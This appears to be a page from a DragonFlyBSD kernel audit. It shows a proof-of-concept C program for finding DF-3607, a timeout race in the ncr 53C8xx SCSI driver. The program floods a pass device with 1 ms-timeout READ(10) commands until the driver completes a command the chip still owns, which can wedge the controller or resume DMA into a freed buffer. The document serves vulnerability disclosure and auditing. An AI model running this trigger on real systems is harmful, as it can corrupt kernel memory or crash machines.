โฌข DragonFlyBSD Kernel Audit
DF-3607 / ncr_timeout_race.c
โ† back to finding โ†“ download raw
/* DF-3607 trigger โ€” ncr timeout vs chip-owned nccb.
 *
 * Target: sys/dev/disk/ncr/ncr.c โ€” ncr_timeout() completes an nccb that is
 * still armed in the 53C8xx script processor's DSA (a CONNECTED, mid-phase
 * command). After completion, cp->ccb == NULL and cp->magic != CCB_MAGIC,
 * but ncr_int_ma() still finds the nccb by physical DSA match and either
 * (a) wedges the chip (returns without restart on opcode mismatch), or
 * (b) writes cp->patch[] from the stale (or already-reused) scatter table
 * and restarts the script processor โ€” resuming host DMA into a buffer the
 * CAM periph has already released/reused.
 *
 * Preconditions:
 *   1. an NCR 53C8xx HBA with an attached SCSI target
 *   2. the target accepts a command, then stalls in a data phase longer
 *      than the CCB timeout (tlimit = timeout/1000 + 2 s in ncr_action)
 *   3. the target then resumes / changes phase -> MA interrupt -> ncr_int_ma
 *
 * This program floods pass(4) with 10-byte READ commands carrying a 1 ms
 * CCB timeout. Against a target that is slower than that (or deliberately
 * stalls mid-phase) this drives the exact daemon-completes-connected-job
 * window; watch the console for "timeout nccb=%p (skip)" (ncr.c:5162)
 * while the device is connected.
 *
 * Build (in guest, as root):  cc -O2 -o ncr_timeout_race ncr_timeout_race.c -lcam
 * Run   (in guest, as root):  ./ncr_timeout_race pass0 200
 */
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <camlib.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_message.h>

int
main(int argc, char **argv)
{
	struct cam_device *dev;
	union ccb *ccb;
	u_int8_t *cdb;
	int i, n = 200, ok = 0;

	if (argc < 2) {
		fprintf(stderr, "usage: %s <passN> [iterations]\n", argv[0]);
		return (2);
	}
	if (argc > 2)
		n = atoi(argv[2]);

	dev = cam_open_pass(argv[1], O_RDWR, NULL);
	if (dev == NULL) {
		fprintf(stderr, "cam_open_pass(%s): %s\n", argv[1], cam_errbuf);
		return (1);
	}

	for (i = 0; i < n; i++) {
		ccb = cam_getccb(dev);
		if (ccb == NULL)
			break;
		/* 10-byte READ, 1 block, no data buffer (phase choreography
		 * is the target's job); 1 ms timeout << device service time
		 * => ncr_timeout() daemon completes it while connected. */
		memset(&ccb->csio, 0, sizeof(ccb->csio));
		ccb->ccb_h.func_code = XPT_SCSI_IO;
		ccb->ccb_h.flags = CAM_DIR_NONE;
		ccb->ccb_h.retry_count = 0;
		ccb->ccb_h.timeout = 1;		/* milliseconds */
		ccb->csio.tag_action = MSG_SIMPLE_Q_TAG;
		ccb->csio.cdb_len = 10;
		ccb->csio.sense_len = 0;
		ccb->csio.dxfer_len = 0;
		ccb->csio.data_ptr = NULL;
		cdb = ccb->csio.cdb_io.cdb_bytes;
		cdb[0] = 0x28;			/* READ(10) */
		cdb[2] = cdb[3] = cdb[4] = cdb[5] = 0; /* LBA 0 */
		cdb[7] = 0; cdb[8] = 1;		/* 1 block */
		cdb[9] = 0;
		if (cam_send_ccb(dev, ccb) < 0)
			fprintf(stderr, "cam_send_ccb: %s\n", cam_errbuf);
		else
			ok++;
		cam_freeccb(ccb);
	}
	printf("sent %d/%d ccb(s) with 1ms timeout\n", ok, n);
	cam_close_device(dev);
	return (0);
}